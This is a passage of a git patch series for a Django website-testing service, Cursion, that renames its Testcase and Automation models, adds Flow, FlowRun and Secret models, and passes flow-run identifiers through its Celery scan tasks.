+def _vrt(scan_id: str=None, test_id: str=None, automation_id: str=None) -> object:
     """
     Method to run the visual regression (vrt) component of the scan 
     allowing for multi-threading.
@@ -420,7 +420,7 @@ def _vrt(scan_id: str, test_id: str=None, automation_id: str=None) -> object:
 
     Returns -> `Scan` <obj>
     """
-    
+
     # retrieve scan
     scan = Scan.objects.get(id=scan_id)
     
@@ -450,7 +450,7 @@ def _vrt(scan_id: str, test_id: str=None, automation_id: str=None) -> object:
 
 
 
-def _lighthouse(scan_id: str, test_id: str=None, automation_id: str=None) -> object:
+def _lighthouse(scan_id: str=None, test_id: str=None, automation_id: str=None) -> object:
     """
     Method to run the lighthouse component of the scan 
     allowing for multi-threading.
@@ -463,7 +463,7 @@ def _lighthouse(scan_id: str, test_id: str=None, automation_id: str=None) -> obj
 
     Returns -> `Scan` <obj>
     """
-    
+
     # retrieve scan
     scan = Scan.objects.get(id=scan_id)
 
@@ -490,7 +490,7 @@ def _lighthouse(scan_id: str, test_id: str=None, automation_id: str=None) -> obj
 
 
 
-def _yellowlab(scan_id: str, test_id: str=None, automation_id: str=None) -> object:
+def _yellowlab(scan_id: str=None, test_id: str=None, automation_id: str=None) -> object:
     """
     Method to run the yellowlab component of the scan 
     allowing for multi-threading.
@@ -503,7 +503,7 @@ def _yellowlab(scan_id: str, test_id: str=None, automation_id: str=None) -> obje
 
     Returns -> `Scan` <obj>
     """ 
-    
+
     # retrieve scan
     scan = Scan.objects.get(id=scan_id)
     
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 04595871..f1ce9ec2 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -6000,12 +6000,11 @@ def get_celery_metrics(request: object) -> object:
     
     # Tasks received, but are still waiting to be executed.
     reserved = i.reserved()
-    #
-    #  Active tasks
+
+    # Active tasks
     active = i.active()
 
-    # init task & replica counters
-    # & ratio 
+    # init task & replica counters & ratio 
     num_tasks = 0
     num_replicas = 0
     ratio = 0
diff --git a/app/cursion/settings.py b/app/cursion/settings.py
index e027382f..3af3c025 100644
--- a/app/cursion/settings.py
+++ b/app/cursion/settings.py
@@ -1,13 +1,13 @@
 """
 Django settings for Cursion project.
 
-Generated by 'django-admin startproject' using Django 3.2.3.
+Generated by 'django-admin startproject' using Django 5.0.6.
 
 For more information on this file, see
-https://docs.djangoproject.com/en/3.2/topics/settings/
+https://docs.djangoproject.com/en/5.0/topics/settings/
 
 For the full list of settings and their values, see
-https://docs.djangoproject.com/en/3.2/ref/settings/
+https://docs.djangoproject.com/en/5.0/ref/settings/
 """
 
 from pathlib import Path
@@ -252,3 +252,7 @@
 TYPES = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
 
 
+# Global max attempts
+MAX_ATTEMPTS = 3
+
+
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index 9975d724..cf56f471 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -7,7 +7,7 @@ services:
     platform: linux/amd64
     privileged: true
     init: true
-    restart: always
+    restart: no
     build:
       context: .
       dockerfile: Dockerfile

From 3aec655bc920e1e2166f956f799835eda48fe5c3 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 17 Oct 2024 08:50:55 -0600
Subject: [PATCH 0767/1099] updated "audits" response to be null on failure

---
 app/api/utils/lighthouse.py | 2 +-
 app/api/utils/yellowlab.py  | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 83c0ee46..c34cc458 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -255,7 +255,7 @@ def get_data(self):
 
         data = {
             "scores": self.scores, 
-            "audits": self.audits_url,
+            "audits": self.audits_url if self.audits_url != '' else None,
             "failed": failed
         }
             
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 908824ff..67707a11 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -257,7 +257,7 @@ def get_data(self):
 
         data = {
             "scores": self.scores, 
-            "audits": self.audits_url,
+            "audits": self.audits_url if self.audits_url != '' else None,
             "failed": failed
         }
             

From 0989422311f2e2e36d57c946c14df67aa188b3a1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 25 Nov 2024 09:17:28 -0700
Subject: [PATCH 0768/1099] rolling out new version (incomplete)

---
 app/api/admin.py                              |   61 +-
 app/api/apps.py                               |    5 +-
 app/api/management/commands/create_admin.py   |    3 +-
 app/api/models.py                             |  174 +-
 app/api/signals.py                            |   22 +
 app/api/tasks.py                              | 1088 ++++--
 app/api/utils/alerter.py                      |  258 ++
 app/api/utils/alerts.py                       |  989 ++---
 app/api/utils/archive/caser.py                |  144 +-
 app/api/utils/autocaser.py                    |    2 +-
 app/api/utils/automater.py                    |  325 --
 app/api/utils/caser.py                        |  390 +-
 app/api/utils/crawler.py                      |    3 +-
 app/api/utils/definitions.py                  |  359 ++
 app/api/utils/devices.py                      |    4 +-
 app/api/utils/driver.py                       |    4 +-
 app/api/utils/flowr.py                        |  845 +++++
 app/api/utils/issuer.py                       |   46 +-
 app/api/utils/reporter.py                     |   46 +-
 app/api/utils/scanner.py                      |  251 +-
 app/api/utils/tester.py                       |    2 +-
 app/api/utils/updater.py                      |  168 +
 app/api/utils/verify.py                       |    1 +
 app/api/v1/auth/serializers.py                |   11 +-
 app/api/v1/auth/services.py                   |  152 +-
 app/api/v1/billing/services.py                |  185 +-
 app/api/v1/ops/serializers.py                 |   92 +-
 app/api/v1/ops/services.py                    | 3278 ++++++++++++-----
 app/api/v1/ops/urls.py                        |   27 +-
 app/api/v1/ops/views.py                       |  215 +-
 app/cursion/settings.py                       |   20 +-
 commands.txt                                  |   46 -
 docker-compose.dev.yml                        |   18 +-
 ...er-compose.local.yml => docker-compose.yml |    8 +-
 .../docker-compose.prod.yml                   |   30 +-
 .../docker-compose.remote.yml                 |   10 +-
 env/.env.dev.example                          |  103 -
 env/.env.prod.example                         |  104 -
 env/.env.stage.example                        |   98 -
 nginx/README.md                               |    4 +
 setup/requirements/requirements.txt           |    1 +
 setup/scripts/local.sh                        |   14 +-
 42 files changed, 6753 insertions(+), 2853 deletions(-)
 create mode 100644 app/api/signals.py
 create mode 100644 app/api/utils/alerter.py
 delete mode 100644 app/api/utils/automater.py
 create mode 100644 app/api/utils/definitions.py
 create mode 100644 app/api/utils/flowr.py
 create mode 100644 app/api/utils/updater.py
 delete mode 100644 commands.txt
 rename docker-compose.local.yml => docker-compose.yml (95%)
 rename docker-compose.prod.yml => docker/docker-compose.prod.yml (89%)
 rename docker-compose.remote.yml => docker/docker-compose.remote.yml (94%)
 delete mode 100644 env/.env.dev.example
 delete mode 100644 env/.env.prod.example
 delete mode 100644 env/.env.stage.example
 create mode 100644 nginx/README.md

diff --git a/app/api/admin.py b/app/api/admin.py
index 8877f97f..592dc8ca 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -5,7 +5,7 @@
     create_scan, create_test, 
     delete_site, delete_page, 
     delete_scan, delete_test,
-    delete_case, delete_testcase,
+    delete_case, delete_caserun,
     crawl_site
 )
 from .tasks import (
@@ -35,7 +35,7 @@ def reset_usage(self, request, queryset):
 
 @admin.register(Member)
 class MemberAdmin(admin.ModelAdmin):
-    list_display = ('user', 'account', 'time_created', 'type', 'status')
+    list_display = ('email', 'account', 'time_created', 'type', 'status')
     search_fields = ('user__username', 'account__name')
 
 
@@ -120,7 +120,7 @@ def delete_pages(self, request, queryset):
 @admin.register(Test)
 class TestAdmin(admin.ModelAdmin):
     list_display = ('id', 'page', 'time_created', 'time_completed', 'type')
-    search_fields = ('page',)
+    search_fields = ('page__page_url',)
     actions = ['delete_tests',]
 
     def delete_tests(self, request, queryset):
@@ -135,7 +135,7 @@ def delete_tests(self, request, queryset):
 @admin.register(Scan)
 class ScanAdmin(admin.ModelAdmin):
     list_display = ('id', 'page', 'time_created', 'time_completed')
-    search_fields = ('page',)
+    search_fields = ('page__page_url',)
     actions = ['delete_scans', 'mark_as_completed', 'add_scan_score' ] # NEW!!!
 
     def delete_scans(self, request, queryset):
@@ -178,8 +178,8 @@ class ScheduleAdmin(admin.ModelAdmin):
 
 
 
-@admin.register(Automation)
-class AutomationAdmin(admin.ModelAdmin):
+@admin.register(Alert)
+class AlertAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created', 'schedule', 'user')
 
 
@@ -194,7 +194,8 @@ class ProcessAdmin(admin.ModelAdmin):
 
 @admin.register(Case)
 class CaseAdmin(admin.ModelAdmin):
-    list_display = ('__str__', 'user', 'time_created',)
+    list_display = ('title', 'user', 'site', 'time_created',)
+    search_fields = ('title', 'site__site_url')
     actions = ['delete_cases',]
 
     def delete_cases(self, request, queryset):
@@ -207,16 +208,18 @@ def delete_cases(self, request, queryset):
 
 
 
-@admin.register(Testcase)
-class TestcaseAdmin(admin.ModelAdmin):
-    list_display = ('__str__', 'user', 'time_created', 'time_completed',)
-    actions = ['delete_testcases',]
+@admin.register(CaseRun)
+class CaseRunAdmin(admin.ModelAdmin):
+    list_display = ('title', 'user', 'time_created', 'time_completed',)
+    search_fields = ('title', 'site__site_url')
 
-    def delete_testcases(self, request, queryset):
-        for testcase in queryset:
-            delete_testcase(
-                id=testcase.id,
-                account=testcase.account
+    actions = ['delete_caseruns',]
+
+    def delete_caseruns(self, request, queryset):
+        for caserun in queryset:
+            delete_caserun(
+                id=caserun.id,
+                account=caserun.account
             )
 
 
@@ -224,8 +227,32 @@ def delete_testcases(self, request, queryset):
 
 @admin.register(Issue)
 class IssueAdmin(admin.ModelAdmin):
-    list_display = ('__str__', 'account', 'time_created', 'status',)
+    list_display = ('title', 'account', 'time_created', 'status',)
+    search_fields = ('title', 'affected')
+
+
+
+
+@admin.register(Flow)
+class FlowAdmin(admin.ModelAdmin):
+    list_display = ('title', 'account', 'time_created',)
+    search_fields = ('title',)
+
+
+
+
+
+@admin.register(FlowRun)
+class FlowRunAdmin(admin.ModelAdmin):
+    list_display = ('title', 'account', 'site', 'time_created', 'time_completed', 'status')
+    search_fields = ('title', 'site__site_url',)
+
+
+
 
+@admin.register(Secret)
+class SecretAdmin(admin.ModelAdmin):
+    list_display = ('__str__', 'account', 'time_created',)
 
 
 
diff --git a/app/api/apps.py b/app/api/apps.py
index 36985c8a..275aba4d 100644
--- a/app/api/apps.py
+++ b/app/api/apps.py
@@ -2,4 +2,7 @@
 
 
 class ApiConfig(AppConfig):
-    name = 'api'
\ No newline at end of file
+    name = 'api'
+
+    def ready(self):
+        import api.signals
\ No newline at end of file
diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py
index e5f9a9c5..953d88ff 100644
--- a/app/api/management/commands/create_admin.py
+++ b/app/api/management/commands/create_admin.py
@@ -32,8 +32,7 @@ def handle(self, *args, **options):
             Account.objects.create(
                 user=user,
                 active=True,
-                type='enterprise',
-                max_sites=10000, 
+                type='admin',
             )
         else:
             print('Accounts can only be initialized if no Accounts exist')
diff --git a/app/api/models.py b/app/api/models.py
index 4f41e49f..366cd5a9 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -2,7 +2,7 @@
 from django.utils import timezone
 from django.urls import reverse
 from django.contrib.auth.models import User
-from datetime import datetime
+from datetime import datetime, timezone as tz
 from django.contrib.postgres.fields import JSONField
 from cursion import settings
 import uuid
@@ -252,18 +252,65 @@ def get_default_configs():
 
 def get_usage_default():
     usage = {
+        'sites': 0,
+        'schedules': 0,
         'scans': 0,
         'tests': 0,
-        'testcases': 0,
+        'caseruns': 0,
+        'flowruns': 0,
+        'sites_allowed': 1, 
+        'pages_allowed': 3, 
+        'schedules_allowed': 1, 
         'scans_allowed': 30, 
         'tests_allowed': 30, 
-        'testcases_allowed': 15,
+        'caseruns_allowed': 15,
+        'flowruns_allowed': 5,
+        'nodes_allowed': 6,
+        'conditions_allowed': 2,
+        'retention_days': 15,
     }
     return usage
 
 
 
 
+def get_meta_default():
+    meta = {
+        'last_usage_reset': datetime.now(tz.utc).strftime('%Y-%m-%d %H:%M:%S.%f'),
+        'coupon': {
+            'code': '', 
+            'discount': 0
+        }
+    }
+    return meta
+
+
+
+
+def get_info_default():
+    info = {'survey': []}
+    return info
+
+
+
+
+def get_permissions_default():
+    permissions = {
+        'actions': [
+            'add', 'get', 'update', 'delete'
+        ],
+        'resources': [
+            'site', 'page', 'issue', 'case', 'caserun',
+            'flow', 'flowrun', 'test', 'scan', 'schedule', 
+            'alert', 'secret', 'report', 'process', 'log'
+        ], 
+        'sites': []
+    }
+    return permissions
+
+
+
+
 def get_system_default():
     system = {
         'tasks': [],
@@ -273,19 +320,57 @@ def get_system_default():
 
 
 
+def get_nodes_default():
+    nodes = [
+        {
+            'id': '1',
+            'position': {
+                'x': 0,
+                'y': 0
+            },
+            'type': 'basic',
+            'parentId': None,
+            'data': {
+                'id': '1',         # duplicate for client support
+                'position': {      # duplicate for client support
+                    'x': 0,
+                    'y': 0
+                }, 
+                'parentId': None,  # duplicate for client support
+                'task_type': None,
+                'configs': settings.CONFIGS,
+                'conditions': None,
+                'start_if': None,
+            }
+        },
+    ]
+    return nodes
+
+
+
+
+def get_edges_default():
+    edges = []
+    return edges
+
+
+
+
+
+
 class Account(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True)
-    phone = models.CharField(max_length=50, serialize=True, null=True, blank=True)
+    # phone = models.CharField(max_length=50, serialize=True, null=True, blank=True) ## -> REMOVING !!!!
     active = models.BooleanField(default=False, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free')
     code = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
-    max_sites = models.IntegerField(serialize=True, null=True, blank=True, default=1)
-    max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=3)
-    max_schedules = models.IntegerField(serialize=True, null=True, blank=True, default=0)
-    retention_days = models.IntegerField(serialize=True, null=True, blank=True, default=3)
+    # sites_allowed = models.IntegerField(serialize=True, null=True, blank=True, default=1) ## -> REMOVING!!!!
+    # max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=3) ## -> REMOVING!!!!
+    # max_schedules = models.IntegerField(serialize=True, null=True, blank=True, default=1) ## -> REMOVING!!!!
+    # retention_days = models.IntegerField(serialize=True, null=True, blank=True, default=3) ## -> REMOVING!!!!
     cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
@@ -295,7 +380,9 @@ class Account(models.Model):
     usage = models.JSONField(serialize=True, null=True, blank=True, default=get_usage_default)
     slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default)
     configs = models.JSONField(serialize=True, null=True, blank=True, default=get_default_configs)
-    meta = models.JSONField(serialize=True, null=True, blank=True)
+    info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default)
+    meta = models.JSONField(serialize=True, null=True, blank=True, default=get_meta_default)
+   
 
     def __str__(self):
         return self.user.email
@@ -324,8 +411,10 @@ class Member(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     email = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # created by Account admin
+    phone = models.CharField(max_length=50, serialize=True, null=True, blank=True)
     status = models.CharField(max_length=1000, serialize=True, null=True, blank=True)  # pending, active
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True)  # admin, contributor, client
+    permissions = models.JSONField(serialize=True, null=True, blank=True, default=get_permissions_default) ## NEW !!!!!!!!
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
 
     def __str__(self):
@@ -334,6 +423,20 @@ def __str__(self):
 
 
 
+class Secret(models.Model):
+    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
+    account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True)
+    time_created = models.DateTimeField(default=timezone.now, serialize=True)
+    user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
+    name = models.CharField(max_length=500, serialize=True, null=True, blank=True)
+    value = models.TextField(serialize=True, null=True, blank=True)
+    
+    def __str__(self):
+        return f'{self.name}'
+
+
+
+
 class Site(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
@@ -421,7 +524,7 @@ def __str__(self):
 
 class Case(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
-    name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    title = models.CharField(max_length=1000, serialize=True, null=True, blank=True)  ## RENAMED !!!! from name
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
@@ -433,17 +536,17 @@ class Case(models.Model):
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
 
     def __str__(self):
-        return f'{self.name}' if len(self.name) > 0 else str(id)
+        return f'{self.title}' if len(self.title) > 0 else str(id)
 
 
 
 
-class Testcase(models.Model):
+class CaseRun(models.Model):  ## -> RENAME from Testcase !!!!!!!
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     case = models.ForeignKey(Case, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    case_name = models.CharField(max_length=500, null=True, blank=True, serialize=True) 
+    title = models.CharField(max_length=500, null=True, blank=True, serialize=True)  ## RENAMED !!!! from case_name
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_completed = models.DateTimeField(null=True, blank=True, serialize=True)
@@ -452,7 +555,7 @@ class Testcase(models.Model):
     configs = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.case.name}_testcase'
+        return f'{self.title}_caserun'
 
 
 
@@ -492,13 +595,50 @@ def __str__(self):
 
 
 
+class Flow(models.Model): ## -> NEW !!!!!!!
+    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
+    time_created = models.DateTimeField(default=timezone.now, serialize=True)
+    time_last_run = models.DateTimeField(serialize=True, null=True, blank=True)
+    account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
+    user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
+    title = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    nodes = models.JSONField(serialize=True, null=True, blank=True, default=get_nodes_default)
+    edges = models.JSONField(serialize=True, null=True, blank=True, default=get_edges_default)
+
+    def __str__(self):
+        return f'{self.title if self.title is not None else self.id}_flow'
+
+
+
+
+class FlowRun(models.Model): ## -> NEW !!!!!!!
+    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
+    time_created = models.DateTimeField(default=timezone.now, serialize=True)
+    time_completed = models.DateTimeField(serialize=True, null=True, blank=True)
+    account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
+    user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
+    flow = models.ForeignKey(Flow, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    title = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    status = models.CharField(max_length=500, serialize=True, default='working')
+    nodes = models.JSONField(serialize=True, null=True, blank=True)
+    edges = models.JSONField(serialize=True, null=True, blank=True)
+    logs = models.JSONField(serialize=True, null=True, blank=True)
+    configs = models.JSONField(serialize=True, null=True, blank=True)
+
+    def __str__(self):
+        return f'{self.flow.title if self.flow.title is not None else self.id}_flowrun'
+
+
+
+
 class Schedule(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     scope = models.CharField(max_length=100, default='account', serialize=True)
     resources = models.JSONField(serialize=True, null=True, blank=True)
-    automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto')
+    alert = models.ForeignKey('Alert', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_alert')
     time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True)
     time_last_run = models.DateTimeField(null=True, blank=True, serialize=True)
     task_type = models.CharField(max_length=100, default='test', serialize=True)
@@ -513,12 +653,12 @@ class Schedule(models.Model):
     extras = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.account.name}_{self.task_type}_{self.scope}'
+        return f'{self.account.name}_{self.task_type}'
 
 
 
 
-class Automation(models.Model):
+class Alert(models.Model):  ## -> RENAME from Automation !!!!!!!
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
diff --git a/app/api/signals.py b/app/api/signals.py
new file mode 100644
index 00000000..3e00a83d
--- /dev/null
+++ b/app/api/signals.py
@@ -0,0 +1,22 @@
+from django.db.models.signals import post_save
+from django.dispatch import receiver
+from .utils.flowr import Flowr
+from .models import *
+
+
+
+
+
+
+@receiver(post_save, sender=FlowRun)
+def flowrun_created(sender, instance, created, **kwargs):
+    
+    # defing instance as new flowrun
+    flowrun = instance
+   
+    # init Flowr & execute run_next()
+    Flowr(flowrun_id=str(flowrun.id)).run_next()
+
+    # return None
+    return None
+        
\ No newline at end of file
diff --git a/app/api/tasks.py b/app/api/tasks.py
index b9532903..103668c0 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -6,7 +6,7 @@
 from .utils.tester import Tester as T
 from .utils.reporter import Reporter as R
 from .utils.wordpress import Wordpress as W
-from .utils.automater import Automater
+from .utils.alerter import Alerter
 from .utils.caser import Caser
 from .utils.autocaser import AutoCaser
 from .utils.exporter import create_and_send_report_export
@@ -14,16 +14,15 @@
     _html_and_logs, _vrt, _lighthouse, 
     _yellowlab
 )
-from .utils.alerts import send_invite_link, send_remove_alert
+from .utils.alerts import *
+from .utils.updater import update_flowrun
 from .models import *
 from django.contrib.auth.models import User
 from django.utils import timezone
-from datetime import datetime, timedelta
+from datetime import datetime, timedelta, timezone
 from cursion import settings
-import asyncio, boto3, time, requests, json, stripe, inspect, random
-
-
-
+import asyncio, boto3, time, requests, \
+json, stripe, inspect, random
 
 
 
@@ -64,7 +63,7 @@ def check_and_increment_resource(account: object, resource: str) -> bool:
 
     Expcets: {
         'account'  : <object>,
-        'resource' : <str> 'scan', 'test', or 'testcase
+        'resource' : <str> 'scan', 'test', 'caserun', etc
     }
 
     Returns: Bool, True if resource was incremented.
@@ -90,7 +89,7 @@ def check_and_increment_resource(account: object, resource: str) -> bool:
 def check_location(location: str) -> bool:
     """ 
     Determines if task should be executed based on 
-    passed location and curent system location (settings.LOCATION). 
+    passed location and current system location (settings.LOCATION). 
 
     Expects: {
         'location': str
@@ -121,7 +120,7 @@ def record_task(
     attribute.
 
     Expects: {
-        'resource_type' : str (scan, test, testcase)
+        'resource_type' : str (scan, test, caserun)
         'resource_id'   : str 
         'task_id'       : str 
         'task_method'   : str
@@ -136,8 +135,8 @@ def record_task(
         resource = Scan.objects.get(id=resource_id)
     if resource_type == 'test':
         resource = Test.objects.get(id=resource_id)
-    if resource_type == 'testcase':
-        resource = Testcase.objects.get(id=resource_id)
+    if resource_type == 'caserun':
+        resource = CaseRun.objects.get(id=resource_id)
 
     # get current resoruce.system.tasks data
     tasks = resource.system.get('tasks', [])
@@ -254,12 +253,15 @@ def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CON
 
     # getting site and updating for time_crawl_start
     site = Site.objects.get(id=site_id)
-    site.time_crawl_started = timezone.now()
+    site.time_crawl_started = datetime.now(timezone.utc)
     site.time_crawl_completed = None
     site.save()
 
+    # get max_urls
+    max_urls = site.account.usage['pages_allowed']
+
     # crawl site 
-    pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
+    pages = Crawler(url=site.site_url, max_urls=max_urls).get_links()
     
     # create pages and scans
     for url in pages:
@@ -296,7 +298,7 @@ def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CON
                 page.save()
 
     # updating site status
-    site.time_crawl_completed = timezone.now()
+    site.time_crawl_completed = datetime.now(timezone.utc)
     site.save()
 
     logger.info('Added site and all pages')
@@ -321,9 +323,12 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
     
     # getting site and updating for time_crawl_start
     site = Site.objects.get(id=site_id)
-    site.time_crawl_started = timezone.now()
+    site.time_crawl_started = datetime.now(timezone.utc)
     site.time_crawl_completed = None
     site.save()
+
+    # get pages_allowed
+    pages_allowed = site.account.usage['pages_allowed']
     
     # getting old pages for comparison
     old_pages = Page.objects.filter(site=site)
@@ -332,7 +337,7 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
         old_urls.append(p.page_url)
 
     # crawl site 
-    new_urls = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
+    new_urls = Crawler(url=site.site_url, max_urls=pages_allowed).get_links()
     add_urls = []
 
     # checking for duplicates
@@ -346,7 +351,7 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
     for url in add_urls:
 
         # add new page if room exists
-        if current_count < site.account.max_pages:
+        if current_count < pages_allowed:
             page = Page.objects.create(
                 site=site,
                 page_url=url,
@@ -377,7 +382,7 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
             current_count += 1
 
     # updating site status
-    site.time_crawl_completed = timezone.now()
+    site.time_crawl_completed = datetime.now(timezone.utc)
     site.save()
 
     logger.info('crawled site and added pages')
@@ -585,18 +590,22 @@ def scan_page_bg(
         self, 
         scan_id: str=None, 
         test_id: str=None, 
-        automation_id: str=None, 
-        configs: dict=settings.CONFIGS
+        alert_id: str=None, 
+        configs: dict=settings.CONFIGS,
+        flowrun_id: str=None,
+        node_index: str=None,
     ) -> None:
     """ 
     Runs all the requested `Scan` components 
     of the passed `Scan`.
 
     Expects: {
-        scan_id       : str, 
-        test_id       : str, 
-        automation_id : str, 
-        configs       : dict
+        scan_id    : str, 
+        test_id    : str, 
+        alert_id   : str, 
+        configs    : dict,
+        flowrun_id : str,
+        node_index : str
     }
 
     Returns -> None
@@ -607,13 +616,37 @@ def scan_page_bg(
     
     # run each scan component in parallel
     if 'html' in scan.type or 'logs' in scan.type or 'full' in scan.type:
-        run_html_and_logs_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id)
+        run_html_and_logs_bg.delay(
+            scan_id=scan.id, 
+            test_id=test_id, 
+            alert_id=alert_id,
+            flowrun_id=flowrun_id,
+            node_index=node_index,
+        )
     if 'lighthouse' in scan.type or 'full' in scan.type:
-        run_lighthouse_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id)
+        run_lighthouse_bg.delay(
+            scan_id=scan.id, 
+            test_id=test_id, 
+            alert_id=alert_id,
+            flowrun_id=flowrun_id,
+            node_index=node_index,
+        )
     if 'yellowlab' in scan.type or 'full' in scan.type:
-        run_yellowlab_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id)
+        run_yellowlab_bg.delay(
+            scan_id=scan.id, 
+            test_id=test_id, 
+            alert_id=alert_id,
+            flowrun_id=flowrun_id,
+            node_index=node_index,
+        )
     if 'vrt' in scan.type or 'full' in scan.type:
-        run_vrt_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id)
+        run_vrt_bg.delay(
+            scan_id=scan.id, 
+            test_id=test_id, 
+            alert_id=alert_id,
+            flowrun_id=flowrun_id,
+            node_index=node_index,
+        )
 
     logger.info('created new Scan of Page')
     return None
@@ -627,7 +660,7 @@ def create_scan(
         scan_id: str=None,
         page_id: str=None, 
         type: list=settings.TYPES,
-        automation_id: str=None, 
+        alert_id: str=None, 
         configs: str=None,
         tags: str=None,
     ) -> None:
@@ -639,7 +672,7 @@ def create_scan(
         scan_id         : str,
         page_id         : str, 
         type            : list,
-        automation_id   : str, 
+        alert_id        : str, 
         configs         : dict,
         tags            : list,
     }
@@ -662,11 +695,11 @@ def create_scan(
             tags=tags, 
         )
 
-    # run scan and automation if necessary
+    # run scan and alert if necessary
     scan = S(scan=created_scan).build_scan()
-    if automation_id:
-        print('running automation from `task.create_scan`')
-        Automater(automation_id, scan.id).run_automation()
+    if alert_id:
+        print('running alert from `task.create_scan`')
+        Alerter(alert_id, scan.id).run_alert()
     
     logger.info('Created new scan of site')
     return None
@@ -683,12 +716,14 @@ def create_scan_bg(self, *args, **kwargs) -> None:
     Expects: {
         'scope'         : str
         'resources'     : list
-        'account_id'    : str
+        'account_id'    : strx
         'type'          : list,
         'configs'       : dict,
         'tags'          : list,
-        'automation_id' : str,
